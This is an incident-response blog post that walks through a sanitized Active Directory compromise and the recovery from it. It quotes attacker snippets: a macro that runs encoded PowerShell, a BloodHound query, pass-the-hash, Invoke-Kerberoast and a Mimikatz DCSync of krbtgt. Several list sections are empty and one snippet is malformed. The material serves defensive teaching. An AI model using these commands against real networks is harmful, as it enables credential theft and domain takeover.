Every domain compromise follows a pattern. Not the same one every time — but close enough that you can predict the next move if you understand what came before. This post walks through a sanitized real-world intrusion — credential theft, lateral movement, Kerberoasting, DCSync, the full chain. This is what it actually looks like from the IR side.

Initial Access: The Phishing Email That Worked

The story starts like most do — a well-crafted phishing email. This one targeted the marketing department with a fake invoice attachment. The attachment was an Excel file with embedded macros.

// What the attacker dropped: // A simple macro that ran PowerShell to pull a second-stage payload Sub Workbook_Open() CreateObject("WScript.Shell").Run "powershell -enc JABjAGwA...", 0 End Sub // Second stage: C2 beacon to attacker-controlled infrastructure // Downloads and runs Mimikatz variant

The First Mistake

The user enabled macros. The payload executed as the user's standard account — not admin, just a regular domain user. That was enough.

The initial access doesn't need to be privileged. It just needs a foot in the door and an account that's alive on the network.

What They Got

In this case, the user had logged into a jump box two days prior — as an administrator. Their cached credentials were still in memory on that jump box. Within 30 seconds of execution, the attacker had a privileged hash.

Lateral Movement: Finding the Path

With a hash in hand, the attacker ran BloodHound. They weren't guessing — they were querying.

// Attacker's first BloodHound query: MATCH p=shortestPath((u:User)-[*1..5]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) WHERE u.enabled = true RETURN u.name, length(p) AS hops ORDER BY hops ASC

They found what every attacker finds: a short path. The user's account had local admin rights on IT-01, which had a session for svc_backup — an account with DCSync rights. That's three hops.

// Step 1: Pass-the-Hash to IT-01 using the admin's hash sekurlsa::logonpasswords // Already done — they had the hash // Lateral to IT-01 using SMB/Remote \\IT-01\C$ /user:CORP\admin_account NTLM:hash... // Step 2: On IT-01, they found svc_backup's session // Running Procdump or keystroke loggers on IT-01 capturedsvc_backup credentials

The Missing Control

This is where the defense failed: local admin rights were everywhere. The user who got phished had local admin on IT-01 because someone needed to install software once. Those rights never got revoked.

Kerberoasting: The Shortcut They Didn't Need (But Took Anyway)

With svc_backup access, they didn't technically need to Kerberoast — they already had DCSync. But attackers aren't always optimal. They also Kerberoasted every service account they could find.

// Attacker's Kerberoasting command: Invoke-Kerberoast -OutputFormat Hashcat | Export-CSV kerberoast.csv // What they found: // 12 accounts with SPNs set // Of those, 3 had adminCount=1 (inherited protection) // None of the passwords were complex enough to resist hashcat

The reason this matters for IR: even after they had domain admin, these Kerberoastable accounts were a backup access vector. They could lose DA and regain it through service account password resets.

DCSync: Getting the Hashes

This is when the real damage started. With svc_backup's credentials, they ran Mimikatz's DCSync module.

// The DCSync that emptied the domain: lsadump::dcsync /user:CORP\krbtgt // Result: // krbtgt NTLM hash: a38d003... (entire forest) // Also pulled: // - All user password hashes // - SID history // - NTDS.DIT equivalent

What DCSync Gives You

At this point, the domain was effectively owned. The attacker had:

What the Logs Showed (And What They Missed)

This is where it gets interesting for defenders. The events were all there — they just didn't get triaged.

Day -2: The Phishing Email

Day -1: Macro Execution

Day 0: Lateral Movement and Escalation

None of these events individually triggered a response. In aggregate, they tell a clear story. But by the time someone looked at them holistically, the domain was already compromised.

Recovery: What Actually Worked

The organization recovered. Here's what it took:

  1. Reset every password — Not just privileged accounts. Every account. Service accounts, admin accounts, standard users — all of them.
  2. Reset krbtgt twice — The standard advice is reset twice with 10-hour interval. They did it three times to be safe.
  3. Revoke all Kerberos tickets — Force re-authentication across the entire forest.
  4. Purge cached credentials — Every workstation, every server. Forced logoff where possible.
  5. Rebuild compromised systems — IT-01 and the user's workstation were reimaged from known-good media.

What didn't work: changing the admin's password once. The attacker had golden ticket capability — a password change doesn't invalidate a forged TGT.

The Fixes That Came After

The domain wasn't compromised because the attacker was sophisticated. It was compromised because the environment had the same gaps every environment has — local admin sprawl, under-monitored service accounts, and log alerts that didn't tell a story until it was too late.


Ed Truderung is a cybersecurity consultant specializing in identity security, Active Directory hardening, and incident response. He helps organizations find the gaps before attackers do.